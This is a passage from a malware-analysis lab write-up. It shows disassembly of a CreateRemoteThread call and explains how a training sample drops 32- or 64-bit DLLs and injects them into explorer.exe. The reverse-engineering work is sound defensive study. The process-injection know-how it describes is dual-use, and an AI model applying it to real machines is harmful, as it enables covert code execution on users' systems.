mov    [rsp+1168h+lpThreadId], 0 ; lpThreadId
xor    r8d, r8d          ; dwStackSize
xor    edx, edx          ; lpThreadAttributes
mov    rcx, rsi         ; hProcess
mov    r9, rax           ; lpStartAddress
mov    [rsp+1168h+dwCreationFlags], 0 ; dwCreationFlags
mov    qword ptr [rsp+1168h+flProtect], rbx ; lpParameter
call   cs>CreateRemoteThread
neg    rax
sbb    eax, eax
neg    eax
dec    eax

```

At this point it's beginning to look like this malware injects the same payload into explorer.exe on both 32-bit and 64-bit operating systems, except it sources that payload from different resources in the executable. To confirm this we need to examine Lab21-02x.dll which is being injected and see if it is similar to Lab21-02.dll (or Lab12-01.dll).

To do this we can open both of these in IDA and look at the StartAddress to see that Lab21-02.dll is identical only Lab21-02x.dll is compiled for a 64-bit OS.

From the above analysis we know that the malware first drops secondary payloads from its resource section, and that the resource section payload differs depending on if it is running in a 64-bit or 32-bit OS. On a 64-bit OS it will drop 2 binaries Lab21-02x.dll and Lab21-02x.exe, and then execute Lab21-02x.exe to inject Lab21-02x.dll into explorer.exe. On a 32-bit it will drop a Lab21-02.dll and inject this into explorer.exe. In both cases the injected DLL performs the same action as Lab12-01.dll which prompts the user to reboot with a message counting how many minutes have passed since it executed.